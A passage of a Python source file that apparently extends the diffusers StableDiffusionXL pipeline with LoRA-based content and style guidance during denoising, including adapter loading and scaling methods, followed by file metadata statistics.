The device to which the timesteps should be moved to. If `None`, the timesteps are not moved.
timesteps (`List[int]`, *optional*):
Custom timesteps used to override the timestep spacing strategy of the scheduler. If `timesteps` is passed,
`num_inference_steps` and `sigmas` must be `None`.
sigmas (`List[float]`, *optional*):
Custom sigmas used to override the timestep spacing strategy of the scheduler. If `sigmas` is passed,
`num_inference_steps` and `timesteps` must be `None`.
Returns:
`Tuple[torch.Tensor, int]`: A tuple where the first element is the timestep schedule from the scheduler and the
second element is the number of inference steps.
"""
if timesteps is not None and sigmas is not None:
raise ValueError("Only one of `timesteps` or `sigmas` can be passed. Please choose one to set custom values")
if timesteps is not None:
accepts_timesteps = "timesteps" in set(inspect.signature(scheduler.set_timesteps).parameters.keys())
if not accepts_timesteps:
raise ValueError(
f"The current scheduler class {scheduler.__class__}'s `set_timesteps` does not support custom"
f" timestep schedules. Please check whether you are using the correct scheduler."
)
scheduler.set_timesteps(timesteps=timesteps, device=device, **kwargs)
timesteps = scheduler.timesteps
num_inference_steps = len(timesteps)
elif sigmas is not None:
accept_sigmas = "sigmas" in set(inspect.signature(scheduler.set_timesteps).parameters.keys())
if not accept_sigmas:
raise ValueError(
f"The current scheduler class {scheduler.__class__}'s `set_timesteps` does not support custom"
f" sigmas schedules. Please check whether you are using the correct scheduler."
)
scheduler.set_timesteps(sigmas=sigmas, device=device, **kwargs)
timesteps = scheduler.timesteps
num_inference_steps = len(timesteps)
else:
scheduler.set_timesteps(num_inference_steps, device=device, **kwargs)
timesteps = scheduler.timesteps
return timesteps, num_inference_steps
# Copied from diffusers.pipelines.stable_diffusion.pipeline_stable_diffusion.rescale_noise_cfg
def rescale_noise_cfg(noise_cfg, noise_pred_text, guidance_rescale=0.0):
r"""
Rescales `noise_cfg` tensor based on `guidance_rescale` to improve image quality and fix overexposure. Based on
Section 3.4 from [Common Diffusion Noise Schedules and Sample Steps are
Flawed](https://arxiv.org/pdf/2305.08891.pdf).
Args:
noise_cfg (`torch.Tensor`):
The predicted noise tensor for the guided diffusion process.
noise_pred_text (`torch.Tensor`):
The predicted noise tensor for the text-guided diffusion process.
guidance_rescale (`float`, *optional*, defaults to 0.0):
A rescale factor applied to the noise predictions.
Returns:
noise_cfg (`torch.Tensor`): The rescaled noise prediction tensor.
"""
std_text = noise_pred_text.std(dim=list(range(1, noise_pred_text.ndim)), keepdim=True)
std_cfg = noise_cfg.std(dim=list(range(1, noise_cfg.ndim)), keepdim=True)
# rescale the results from guidance (fixes overexposure)
noise_pred_rescaled = noise_cfg * (std_text / std_cfg)
# mix with the original results from guidance by factor guidance_rescale to avoid "plain looking" images
noise_cfg = guidance_rescale * noise_pred_rescaled + (1 - guidance_rescale) * noise_cfg
return noise_cfg
class StableDiffusionXLPipelineLoraGuidance(StableDiffusionXLPipeline):
@torch.no_grad()
def __call__(
self,
prompt: Union[str, List[str]] = None,
prompt_2: Optional[Union[str, List[str]]] = None,
add_positive_content_prompt: str = None,
add_negative_content_prompt: str = None,
add_positive_style_prompt: str = None,
add_negative_style_prompt: str = None,
lora_scaling: list[float] = [1., 1.], # [content_lora_scaling, style_lora_scaling]
content_guidance_scale: float = 0.,
style_guidance_scale: float = 0.,
height: Optional[int] = None,
width: Optional[int] = None,
num_inference_steps: int = 50,
timesteps: List[int] = None,
sigmas: List[float] = None,
denoising_end: Optional[float] = None,
guidance_scale: float = 5.0,
negative_prompt: Optional[Union[str, List[str]]] = None,
negative_prompt_2: Optional[Union[str, List[str]]] = None,
num_images_per_prompt: Optional[int] = 1,
eta: float = 0.0,
generator: Optional[Union[torch.Generator, List[torch.Generator]]] = None,
latents: Optional[torch.Tensor] = None,
prompt_embeds: Optional[torch.Tensor] = None,
negative_prompt_embeds: Optional[torch.Tensor] = None,
pooled_prompt_embeds: Optional[torch.Tensor] = None,
negative_pooled_prompt_embeds: Optional[torch.Tensor] = None,
ip_adapter_image: Optional[PipelineImageInput] = None,
ip_adapter_image_embeds: Optional[List[torch.Tensor]] = None,
output_type: Optional[str] = "pil",
return_dict: bool = True,
cross_attention_kwargs: Optional[Dict[str, Any]] = None,
guidance_rescale: float = 0.0,
original_size: Optional[Tuple[int, int]] = None,
crops_coords_top_left: Tuple[int, int] = (0, 0),
target_size: Optional[Tuple[int, int]] = None,
negative_original_size: Optional[Tuple[int, int]] = None,
negative_crops_coords_top_left: Tuple[int, int] = (0, 0),
negative_target_size: Optional[Tuple[int, int]] = None,
clip_skip: Optional[int] = None,
callback_on_step_end: Optional[
Union[Callable[[int, int, Dict], None], PipelineCallback, MultiPipelineCallbacks]
] = None,
callback_on_step_end_tensor_inputs: List[str] = ["latents"],
**kwargs,
):
r"""
Function invoked when calling the pipeline for generation.
Args:
prompt (`str` or `List[str]`, *optional*):
The prompt or prompts to guide the image generation. If not defined, one has to pass `prompt_embeds`.
instead.
prompt_2 (`str` or `List[str]`, *optional*):
The prompt or prompts to be sent to the `tokenizer_2` and `text_encoder_2`. If not defined, `prompt` is
used in both text-encoders
height (`int`, *optional*, defaults to self.unet.config.sample_size * self.vae_scale_factor):
The height in pixels of the generated image. This is set to 1024 by default for the best results.
Anything below 512 pixels won't work well for
[stabilityai/stable-diffusion-xl-base-1.0](https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0)
and checkpoints that are not specifically fine-tuned on low resolutions.
width (`int`, *optional*, defaults to self.unet.config.sample_size * self.vae_scale_factor):
The width in pixels of the generated image. This is set to 1024 by default for the best results.
Anything below 512 pixels won't work well for
[stabilityai/stable-diffusion-xl-base-1.0](https://huggingface.co/stabilityai/stable-diffusion-xl-base-1.0)
and checkpoints that are not specifically fine-tuned on low resolutions.
num_inference_steps (`int`, *optional*, defaults to 50):
The number of denoising steps. More denoising steps usually lead to a higher quality image at the
expense of slower inference.
timesteps (`List[int]`, *optional*):
Custom timesteps to use for the denoising process with schedulers which support a `timesteps` argument
in their `set_timesteps` method. If not defined, the default behavior when `num_inference_steps` is
passed will be used. Must be in descending order.
sigmas (`List[float]`, *optional*):
Custom sigmas to use for the denoising process with schedulers which support a `sigmas` argument in
their `set_timesteps` method. If not defined, the default behavior when `num_inference_steps` is passed
will be used.
denoising_end (`float`, *optional*):
When specified, determines the fraction (between 0.0 and 1.0) of the total denoising process to be
completed before it is intentionally prematurely terminated. As a result, the returned sample will
still retain a substantial amount of noise as determined by the discrete timesteps selected by the
scheduler. The denoising_end parameter should ideally be utilized when this pipeline forms a part of a
"Mixture of Denoisers" multi-pipeline setup, as elaborated in [**Refining the Image
Output**](https://huggingface.co/docs/diffusers/api/pipelines/stable_diffusion/stable_diffusion_xl#refining-the-image-output)
guidance_scale (`float`, *optional*, defaults to 5.0):
Guidance scale as defined in [Classifier-Free Diffusion Guidance](https://arxiv.org/abs/2207.12598).
`guidance_scale` is defined as `w` of equation 2. of [Imagen
Paper](https://arxiv.org/pdf/2205.11487.pdf). Guidance scale is enabled by setting `guidance_scale >
1`. Higher guidance scale encourages to generate images that are closely linked to the text `prompt`,
usually at the expense of lower image quality.
negative_prompt (`str` or `List[str]`, *optional*):
The prompt or prompts not to guide the image generation. If not defined, one has to pass
`negative_prompt_embeds` instead. Ignored when not using guidance (i.e., ignored if `guidance_scale` is
less than `1`).
negative_prompt_2 (`str` or `List[str]`, *optional*):
The prompt or prompts not to guide the image generation to be sent to `tokenizer_2` and
`text_encoder_2`. If not defined, `negative_prompt` is used in both text-encoders
num_images_per_prompt (`int`, *optional*, defaults to 1):
The number of images to generate per prompt.
eta (`float`, *optional*, defaults to 0.0):
Corresponds to parameter eta (η) in the DDIM paper: https://arxiv.org/abs/2010.02502. Only applies to
[`schedulers.DDIMScheduler`], will be ignored for others.
generator (`torch.Generator` or `List[torch.Generator]`, *optional*):
One or a list of [torch generator(s)](https://pytorch.org/docs/stable/generated/torch.Generator.html)
to make generation deterministic.
latents (`torch.Tensor`, *optional*):
Pre-generated noisy latents, sampled from a Gaussian distribution, to be used as inputs for image
generation. Can be used to tweak the same generation with different prompts. If not provided, a latents
tensor will ge generated by sampling using the supplied random `generator`.
prompt_embeds (`torch.Tensor`, *optional*):
Pre-generated text embeddings. Can be used to easily tweak text inputs, *e.g.* prompt weighting. If not
provided, text embeddings will be generated from `prompt` input argument.
negative_prompt_embeds (`torch.Tensor`, *optional*):
Pre-generated negative text embeddings. Can be used to easily tweak text inputs, *e.g.* prompt
weighting. If not provided, negative_prompt_embeds will be generated from `negative_prompt` input
argument.
pooled_prompt_embeds (`torch.Tensor`, *optional*):
Pre-generated pooled text embeddings. Can be used to easily tweak text inputs, *e.g.* prompt weighting.
If not provided, pooled text embeddings will be generated from `prompt` input argument.
negative_pooled_prompt_embeds (`torch.Tensor`, *optional*):
Pre-generated negative pooled text embeddings. Can be used to easily tweak text inputs, *e.g.* prompt
weighting. If not provided, pooled negative_prompt_embeds will be generated from `negative_prompt`
input argument.
ip_adapter_image: (`PipelineImageInput`, *optional*): Optional image input to work with IP Adapters.
ip_adapter_image_embeds (`List[torch.Tensor]`, *optional*):
Pre-generated image embeddings for IP-Adapter. It should be a list of length same as number of
IP-adapters. Each element should be a tensor of shape `(batch_size, num_images, emb_dim)`. It should
contain the negative image embedding if `do_classifier_free_guidance` is set to `True`. If not
provided, embeddings are computed from the `ip_adapter_image` input argument.
output_type (`str`, *optional*, defaults to `"pil"`):
The output format of the generate image. Choose between
[PIL](https://pillow.readthedocs.io/en/stable/): `PIL.Image.Image` or `np.array`.
return_dict (`bool`, *optional*, defaults to `True`):
Whether or not to return a [`~pipelines.stable_diffusion_xl.StableDiffusionXLPipelineOutput`] instead
of a plain tuple.
cross_attention_kwargs (`dict`, *optional*):
A kwargs dictionary that if specified is passed along to the `AttentionProcessor` as defined under
`self.processor` in
[diffusers.models.attention_processor](https://github.com/huggingface/diffusers/blob/main/src/diffusers/models/attention_processor.py).
guidance_rescale (`float`, *optional*, defaults to 0.0):
Guidance rescale factor proposed by [Common Diffusion Noise Schedules and Sample Steps are
Flawed](https://arxiv.org/pdf/2305.08891.pdf) `guidance_scale` is defined as `φ` in equation 16. of
[Common Diffusion Noise Schedules and Sample Steps are Flawed](https://arxiv.org/pdf/2305.08891.pdf).
Guidance rescale factor should fix overexposure when using zero terminal SNR.
original_size (`Tuple[int]`, *optional*, defaults to (1024, 1024)):
If `original_size` is not the same as `target_size` the image will appear to be down- or upsampled.
`original_size` defaults to `(height, width)` if not specified. Part of SDXL's micro-conditioning as
explained in section 2.2 of
[https://huggingface.co/papers/2307.01952](https://huggingface.co/papers/2307.01952).
crops_coords_top_left (`Tuple[int]`, *optional*, defaults to (0, 0)):
`crops_coords_top_left` can be used to generate an image that appears to be "cropped" from the position
`crops_coords_top_left` downwards. Favorable, well-centered images are usually achieved by setting
`crops_coords_top_left` to (0, 0). Part of SDXL's micro-conditioning as explained in section 2.2 of
[https://huggingface.co/papers/2307.01952](https://huggingface.co/papers/2307.01952).
target_size (`Tuple[int]`, *optional*, defaults to (1024, 1024)):
For most cases, `target_size` should be set to the desired height and width of the generated image. If
not specified it will default to `(height, width)`. Part of SDXL's micro-conditioning as explained in
section 2.2 of [https://huggingface.co/papers/2307.01952](https://huggingface.co/papers/2307.01952).
negative_original_size (`Tuple[int]`, *optional*, defaults to (1024, 1024)):
To negatively condition the generation process based on a specific image resolution. Part of SDXL's
micro-conditioning as explained in section 2.2 of
[https://huggingface.co/papers/2307.01952](https://huggingface.co/papers/2307.01952). For more
information, refer to this issue thread: https://github.com/huggingface/diffusers/issues/4208.
negative_crops_coords_top_left (`Tuple[int]`, *optional*, defaults to (0, 0)):
To negatively condition the generation process based on a specific crop coordinates. Part of SDXL's
micro-conditioning as explained in section 2.2 of
[https://huggingface.co/papers/2307.01952](https://huggingface.co/papers/2307.01952). For more
information, refer to this issue thread: https://github.com/huggingface/diffusers/issues/4208.
negative_target_size (`Tuple[int]`, *optional*, defaults to (1024, 1024)):
To negatively condition the generation process based on a target image resolution. It should be as same
as the `target_size` for most cases. Part of SDXL's micro-conditioning as explained in section 2.2 of
[https://huggingface.co/papers/2307.01952](https://huggingface.co/papers/2307.01952). For more
information, refer to this issue thread: https://github.com/huggingface/diffusers/issues/4208.
callback_on_step_end (`Callable`, `PipelineCallback`, `MultiPipelineCallbacks`, *optional*):
A function or a subclass of `PipelineCallback` or `MultiPipelineCallbacks` that is called at the end of
each denoising step during the inference. with the following arguments: `callback_on_step_end(self:
DiffusionPipeline, step: int, timestep: int, callback_kwargs: Dict)`. `callback_kwargs` will include a
list of all tensors as specified by `callback_on_step_end_tensor_inputs`.
callback_on_step_end_tensor_inputs (`List`, *optional*):
The list of tensor inputs for the `callback_on_step_end` function. The tensors specified in the list
will be passed as `callback_kwargs` argument. You will only be able to include variables listed in the
`._callback_tensor_inputs` attribute of your pipeline class.
Examples:
Returns:
[`~pipelines.stable_diffusion_xl.StableDiffusionXLPipelineOutput`] or `tuple`:
[`~pipelines.stable_diffusion_xl.StableDiffusionXLPipelineOutput`] if `return_dict` is True, otherwise a
`tuple`. When returning a tuple, the first element is a list with the generated images.
"""
self.content_block = self.unet.get_submodule('up_blocks.0.attentions.0')
self.style_block = self.unet.get_submodule('up_blocks.0.attentions.1')
self._cnt_lora_names = ["content_lora", "neg_cnt_lora"]
self._sty_lora_names = ["style_lora", "neg_sty_lora"]
# self._all_lora_names = self._cnt_lora_names + self._sty_lora_names
callback = kwargs.pop("callback", None)
callback_steps = kwargs.pop("callback_steps", None)
if callback is not None:
deprecate(
"callback",
"1.0.0",
"Passing `callback` as an input argument to `__call__` is deprecated, consider use `callback_on_step_end`",
)
if callback_steps is not None:
deprecate(
"callback_steps",
"1.0.0",
"Passing `callback_steps` as an input argument to `__call__` is deprecated, consider use `callback_on_step_end`",
)
if isinstance(callback_on_step_end, (PipelineCallback, MultiPipelineCallbacks)):
callback_on_step_end_tensor_inputs = callback_on_step_end.tensor_inputs
# 0. Default height and width to unet
height = height or self.default_sample_size * self.vae_scale_factor
width = width or self.default_sample_size * self.vae_scale_factor
original_size = original_size or (height, width)
target_size = target_size or (height, width)
# 1. Check inputs. Raise error if not correct
self.check_inputs(
prompt,
prompt_2,
height,
width,
callback_steps,
negative_prompt,
negative_prompt_2,
prompt_embeds,
negative_prompt_embeds,
pooled_prompt_embeds,
negative_pooled_prompt_embeds,
ip_adapter_image,
ip_adapter_image_embeds,
callback_on_step_end_tensor_inputs,
)
self._guidance_scale = guidance_scale
self._guidance_rescale = guidance_rescale
self._clip_skip = clip_skip
self._cross_attention_kwargs = cross_attention_kwargs
self._denoising_end = denoising_end
self._interrupt = False
# 2. Define call parameters
if prompt is not None and isinstance(prompt, str):
batch_size = 1
elif prompt is not None and isinstance(prompt, list):
batch_size = len(prompt)
else:
batch_size = prompt_embeds.shape[0]
device = self._execution_device
# 3. Encode input prompt
lora_scale = (
self.cross_attention_kwargs.get("scale", None) if self.cross_attention_kwargs is not None else None
)
(
prompt_embeds,
negative_prompt_embeds,
pooled_prompt_embeds,
negative_pooled_prompt_embeds,
) = self.encode_prompt(
prompt=prompt,
prompt_2=prompt_2,
device=device,
num_images_per_prompt=num_images_per_prompt,
do_classifier_free_guidance=self.do_classifier_free_guidance,
negative_prompt=negative_prompt,
negative_prompt_2=negative_prompt_2,
prompt_embeds=prompt_embeds,
negative_prompt_embeds=negative_prompt_embeds,
pooled_prompt_embeds=pooled_prompt_embeds,
negative_pooled_prompt_embeds=negative_pooled_prompt_embeds,
lora_scale=lora_scale,
clip_skip=self.clip_skip,
)
# 4. Prepare timesteps
timesteps, num_inference_steps = retrieve_timesteps(
self.scheduler, num_inference_steps, device, timesteps, sigmas
)
# 5. Prepare latent variables
num_channels_latents = self.unet.config.in_channels
latents = self.prepare_latents(
batch_size * num_images_per_prompt,
num_channels_latents,
height,
width,
prompt_embeds.dtype,
device,
generator,
latents,
)
# 6. Prepare extra step kwargs. TODO: Logic should ideally just be moved out of the pipeline
extra_step_kwargs = self.prepare_extra_step_kwargs(generator, eta)
# 7. Prepare added time ids & embeddings
add_text_embeds = pooled_prompt_embeds
if self.text_encoder_2 is None:
text_encoder_projection_dim = int(pooled_prompt_embeds.shape[-1])
else:
text_encoder_projection_dim = self.text_encoder_2.config.projection_dim
add_time_ids = self._get_add_time_ids(
original_size,
crops_coords_top_left,
target_size,
dtype=prompt_embeds.dtype,
text_encoder_projection_dim=text_encoder_projection_dim,
)
if negative_original_size is not None and negative_target_size is not None:
negative_add_time_ids = self._get_add_time_ids(
negative_original_size,
negative_crops_coords_top_left,
negative_target_size,
dtype=prompt_embeds.dtype,
text_encoder_projection_dim=text_encoder_projection_dim,
)
else:
negative_add_time_ids = add_time_ids
if self.do_classifier_free_guidance:
prompt_embeds = torch.cat([negative_prompt_embeds, prompt_embeds], dim=0)
add_text_embeds = torch.cat([negative_pooled_prompt_embeds, add_text_embeds], dim=0)
add_time_ids = torch.cat([negative_add_time_ids, add_time_ids], dim=0)
prompt_embeds = prompt_embeds.to(device)
add_text_embeds = add_text_embeds.to(device)
add_time_ids = add_time_ids.to(device).repeat(batch_size * num_images_per_prompt, 1)
if ip_adapter_image is not None or ip_adapter_image_embeds is not None:
image_embeds = self.prepare_ip_adapter_image_embeds(
ip_adapter_image,
ip_adapter_image_embeds,
device,
batch_size * num_images_per_prompt,
self.do_classifier_free_guidance,
)
# 8. Denoising loop
num_warmup_steps = max(len(timesteps) - num_inference_steps * self.scheduler.order, 0)
# 8.1 Apply denoising_end
if (
self.denoising_end is not None
and isinstance(self.denoising_end, float)
and self.denoising_end > 0
and self.denoising_end < 1
):
discrete_timestep_cutoff = int(
round(
self.scheduler.config.num_train_timesteps
- (self.denoising_end * self.scheduler.config.num_train_timesteps)
)
)
num_inference_steps = len(list(filter(lambda ts: ts >= discrete_timestep_cutoff, timesteps)))
timesteps = timesteps[:num_inference_steps]
# 9. Optionally get Guidance Scale Embedding
timestep_cond = None
if self.unet.config.time_cond_proj_dim is not None:
guidance_scale_tensor = torch.tensor(self.guidance_scale - 1).repeat(batch_size * num_images_per_prompt)
timestep_cond = self.get_guidance_scale_embedding(
guidance_scale_tensor, embedding_dim=self.unet.config.time_cond_proj_dim
).to(device=device, dtype=latents.dtype)
"""
Implementation of two inference guidance. Begin with some prep work.
"""
if isinstance(lora_scaling, list) and len(lora_scaling) == 2:
content_lora_scaling, style_lora_scaling = lora_scaling
else:
raise ValueError("lora_scaling must be a list = [content_lora_scaling, style_lora_scaling]")
# if lora_scaling = [0., 0.], we close two inference guidance
if content_lora_scaling == 0 and style_lora_scaling == 0:
content_guidance_scale = style_guidance_scale = 0
# If using two guidance, we check whether the corresponding LoRA adapter has been loaded.
if content_guidance_scale > 0:
if not all(lora in self.lora_names for lora in self._cnt_lora_names):
raise ValueError(
f"Content guidance requires lora adapter names {self._cnt_lora_names}, but now is {self.lora_names}"
)
if style_guidance_scale > 0:
if not all(lora in self.lora_names for lora in self._sty_lora_names):
raise ValueError(
f"Style guidance requires lora adapter names {self._sty_lora_names}, but now is {self.lora_names}"
)
# Prepare additional prompt embeds for two guidance (content guidance and style guidance)
def get_add_embeds(add_prompt: str):
if add_prompt is not None:
add_prompt_embeds, add_pooled_prompt_embeds = encode_prompt(
text_encoders=[self.text_encoder, self.text_encoder_2],
tokenizers=[self.tokenizer, self.tokenizer_2],
prompt=add_prompt
)
add_prompt_embeds = add_prompt_embeds.repeat(num_images_per_prompt, 1, 1).to(device)
add_pooled_prompt_embeds = add_pooled_prompt_embeds.repeat(num_images_per_prompt, 1).to(device)
_time_ids = add_time_ids[num_images_per_prompt:]
else:
add_prompt_embeds = prompt_embeds[:num_images_per_prompt]
add_pooled_prompt_embeds = pooled_prompt_embeds[:num_images_per_prompt]
_time_ids = add_time_ids[:num_images_per_prompt]
_added_cond_kwargs = {
"text_embeds": add_pooled_prompt_embeds,
"time_ids": _time_ids,
}
return add_prompt_embeds, _added_cond_kwargs
add_positive_content_prompt_embeds, content_positive_added_cond_kwargs = get_add_embeds(add_positive_content_prompt)
add_negative_content_prompt_embeds, content_negative_added_cond_kwargs = get_add_embeds(add_negative_content_prompt)
add_positive_style_prompt_embeds, style_positive_added_cond_kwargs = get_add_embeds(add_positive_style_prompt)
add_negative_style_prompt_embeds, style_negative_added_cond_kwargs = get_add_embeds(add_negative_style_prompt)
self._num_timesteps = len(timesteps)
with self.progress_bar(total=num_inference_steps) as progress_bar:
for i, t in enumerate(timesteps):
if self.interrupt:
continue
# expand the latents if we are doing classifier free guidance
latent_model_input = torch.cat([latents] * 2) if self.do_classifier_free_guidance else latents
latent_model_input = self.scheduler.scale_model_input(latent_model_input, t)
# predict the noise residual
added_cond_kwargs = {
"text_embeds": add_text_embeds,
"time_ids": add_time_ids
}
if ip_adapter_image is not None or ip_adapter_image_embeds is not None:
added_cond_kwargs["image_embeds"] = image_embeds
self._set_lora_scale(content_lora_scaling, style_lora_scaling, 0., 0.)
noise_pred = self.unet(
latent_model_input,
t,
encoder_hidden_states=prompt_embeds,
timestep_cond=timestep_cond,
cross_attention_kwargs=self.cross_attention_kwargs,
added_cond_kwargs=added_cond_kwargs,
return_dict=False,
)[0]
# perform classifier-free guidance
if self.do_classifier_free_guidance:
noise_pred_uncond, noise_pred_text = noise_pred.chunk(2)
noise_pred_orig = noise_pred_uncond + self.guidance_scale * (noise_pred_text - noise_pred_uncond)
# perform two inference guidance (see Section 4.3 of https://arxiv.org/pdf/2503.10614)
noise_pred_content = noise_pred_style = 0.
if content_guidance_scale > 0:
self._set_lora_scale(1, 0, 0, 0)
noise_pred_content_positive = self.unet(
latent_model_input[num_images_per_prompt:],
t,
encoder_hidden_states=add_positive_content_prompt_embeds,
timestep_cond=timestep_cond,
cross_attention_kwargs=self.cross_attention_kwargs,
added_cond_kwargs=content_positive_added_cond_kwargs,
return_dict=False,
)[0]
self._set_lora_scale(0, 0, 1, 0)
noise_pred_content_negative = self.unet(
latent_model_input[:num_images_per_prompt],
t,
encoder_hidden_states=add_negative_content_prompt_embeds,
timestep_cond=timestep_cond,
cross_attention_kwargs=self.cross_attention_kwargs,
added_cond_kwargs=content_negative_added_cond_kwargs,
return_dict=False,
)[0]
noise_pred_content = content_guidance_scale * (
noise_pred_content_positive - noise_pred_content_negative
)
if style_guidance_scale > 0:
self._set_lora_scale(0, 1, 0, 0)
noise_pred_style_positive = self.unet(
latent_model_input[num_images_per_prompt:],
t,
encoder_hidden_states=add_positive_style_prompt_embeds,
timestep_cond=timestep_cond,
cross_attention_kwargs=self.cross_attention_kwargs,
added_cond_kwargs=style_positive_added_cond_kwargs,
return_dict=False,
)[0]
self._set_lora_scale(0, 0, 0, 1)
noise_pred_style_negative = self.unet(
latent_model_input[:num_images_per_prompt],
t,
encoder_hidden_states=add_negative_style_prompt_embeds,
timestep_cond=timestep_cond,
cross_attention_kwargs=self.cross_attention_kwargs,
added_cond_kwargs=style_negative_added_cond_kwargs,
return_dict=False,
)[0]
noise_pred_style = style_guidance_scale * (
noise_pred_style_positive - noise_pred_style_negative
)
noise_pred = noise_pred_orig + noise_pred_content + noise_pred_style
if self.do_classifier_free_guidance and self.guidance_rescale > 0.0:
# Based on 3.4. in https://arxiv.org/pdf/2305.08891.pdf
noise_pred = rescale_noise_cfg(noise_pred, noise_pred_text, guidance_rescale=self.guidance_rescale)
# compute the previous noisy sample x_t -> x_t-1
latents_dtype = latents.dtype
latents = self.scheduler.step(noise_pred, t, latents, **extra_step_kwargs, return_dict=False)[0]
if latents.dtype != latents_dtype:
if torch.backends.mps.is_available():
# some platforms (eg. apple mps) misbehave due to a pytorch bug: https://github.com/pytorch/pytorch/pull/99272
latents = latents.to(latents_dtype)
if callback_on_step_end is not None:
callback_kwargs = {}
for k in callback_on_step_end_tensor_inputs:
callback_kwargs[k] = locals()[k]
callback_outputs = callback_on_step_end(self, i, t, callback_kwargs)
latents = callback_outputs.pop("latents", latents)
prompt_embeds = callback_outputs.pop("prompt_embeds", prompt_embeds)
negative_prompt_embeds = callback_outputs.pop("negative_prompt_embeds", negative_prompt_embeds)
add_text_embeds = callback_outputs.pop("add_text_embeds", add_text_embeds)
negative_pooled_prompt_embeds = callback_outputs.pop(
"negative_pooled_prompt_embeds", negative_pooled_prompt_embeds
)
add_time_ids = callback_outputs.pop("add_time_ids", add_time_ids)
negative_add_time_ids = callback_outputs.pop("negative_add_time_ids", negative_add_time_ids)
# call the callback, if provided
if i == len(timesteps) - 1 or ((i + 1) > num_warmup_steps and (i + 1) % self.scheduler.order == 0):
progress_bar.update()
if callback is not None and i % callback_steps == 0:
step_idx = i // getattr(self.scheduler, "order", 1)
callback(step_idx, t, latents)
# if XLA_AVAILABLE:
# xm.mark_step()
if not output_type == "latent":
# make sure the VAE is in float32 mode, as it overflows in float16
needs_upcasting = self.vae.dtype == torch.float16 and self.vae.config.force_upcast
if needs_upcasting:
self.upcast_vae()
latents = latents.to(next(iter(self.vae.post_quant_conv.parameters())).dtype)
elif latents.dtype != self.vae.dtype:
if torch.backends.mps.is_available():
# some platforms (eg. apple mps) misbehave due to a pytorch bug: https://github.com/pytorch/pytorch/pull/99272
self.vae = self.vae.to(latents.dtype)
# unscale/denormalize the latents
# denormalize with the mean and std if available and not None
has_latents_mean = hasattr(self.vae.config, "latents_mean") and self.vae.config.latents_mean is not None
has_latents_std = hasattr(self.vae.config, "latents_std") and self.vae.config.latents_std is not None
if has_latents_mean and has_latents_std:
latents_mean = (
torch.tensor(self.vae.config.latents_mean).view(1, 4, 1, 1).to(latents.device, latents.dtype)
)
latents_std = (
torch.tensor(self.vae.config.latents_std).view(1, 4, 1, 1).to(latents.device, latents.dtype)
)
latents = latents * latents_std / self.vae.config.scaling_factor + latents_mean
else:
latents = latents / self.vae.config.scaling_factor
image = self.vae.decode(latents, return_dict=False)[0]
# cast back to fp16 if needed
if needs_upcasting:
self.vae.to(dtype=torch.float16)
else:
image = latents
if not output_type == "latent":
# apply watermark if available
if self.watermark is not None:
image = self.watermark.apply_watermark(image)
image = self.image_processor.postprocess(image, output_type=output_type)
# Offload all models
self.maybe_free_model_hooks()
if not return_dict:
return (image,)
return StableDiffusionXLPipelineOutput(images=image)
def _set_lora_scale(
self,
content_lora_scale: float,
style_lora_scale: float,
negative_content_lora_scale: float,
negative_style_lora_scale: float,
):
for _, module in self.content_block.named_modules():
if isinstance(module, BaseTunerLayer):
module.set_scale("content_lora", content_lora_scale)
module.set_scale("neg_cnt_lora", negative_content_lora_scale)
for _, module in self.style_block.named_modules():
if isinstance(module, BaseTunerLayer):
module.set_scale("style_lora", style_lora_scale)
module.set_scale("neg_sty_lora", negative_style_lora_scale)
def load_lora_checkpoint(
self,
content_image_lora_path: str = None,
style_image_lora_path: str = None,
):
self.lora_names = []
if content_image_lora_path is not None:
lora_dict, _ = self.lora_state_dict(content_image_lora_path)
content_lora, neg_style_lora = filter_consislora(lora_dict)
self.load_lora_weights(content_lora, adapter_name="content_lora")
self.load_lora_weights(neg_style_lora, adapter_name="neg_sty_lora")
self.lora_names.extend(["content_lora", "neg_sty_lora"])
print(f"Loaded lora weights of the content image from {content_image_lora_path}")
if style_image_lora_path is not None:
lora_dict, _ = self.lora_state_dict(style_image_lora_path)
neg_content_lora, style_lora = filter_consislora(lora_dict)
self.load_lora_weights(style_lora, adapter_name="style_lora")
self.load_lora_weights(neg_content_lora, adapter_name="neg_cnt_lora")
self.lora_names.extend(["style_lora", "neg_cnt_lora"])
print(f"Loaded lora weights of the style image from {style_image_lora_path}")
self.set_adapters(self.lora_names)
def unload_lora_checkpoint(self):
self.unload_lora_weights()
self.lora_names = []
| 44,336
|
pipeline_demo
|
py
|
en
|
python
|
code
|
{"qsc_code_num_words": 5095, "qsc_code_num_chars": 44336.0, "qsc_code_mean_word_length": 5.02139352, "qsc_code_frac_words_unique": 0.11736997, "qsc_code_frac_chars_top_2grams": 0.03330206, "qsc_code_frac_chars_top_3grams": 0.00879456, "qsc_code_frac_chars_top_4grams": 0.01266417, "qsc_code_frac_chars_dupe_5grams": 0.49894465, "qsc_code_frac_chars_dupe_6grams": 0.42550031, "qsc_code_frac_chars_dupe_7grams": 0.36628361, "qsc_code_frac_chars_dupe_8grams": 0.32872108, "qsc_code_frac_chars_dupe_9grams": 0.29639619, "qsc_code_frac_chars_dupe_10grams": 0.26309412, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.01469216, "qsc_code_frac_chars_whitespace": 0.32298809, "qsc_code_size_file_byte": 44336.0, "qsc_code_num_lines": 764.0, "qsc_code_num_chars_line_max": 156.0, "qsc_code_num_chars_line_mean": 58.03141361, "qsc_code_frac_chars_alphabet": 0.83765325, "qsc_code_frac_chars_comments": 0.34554313, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.23175966, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.00214592, "qsc_code_frac_chars_string_length": 0.05789921, "qsc_code_frac_chars_long_word_length": 0.01205309, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0013089, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.01502146, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.00643777, "qsc_codepython_frac_lines_import": 0.02575107, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.05364807, "qsc_codepython_frac_lines_print": 0.00429185}
|
1
|
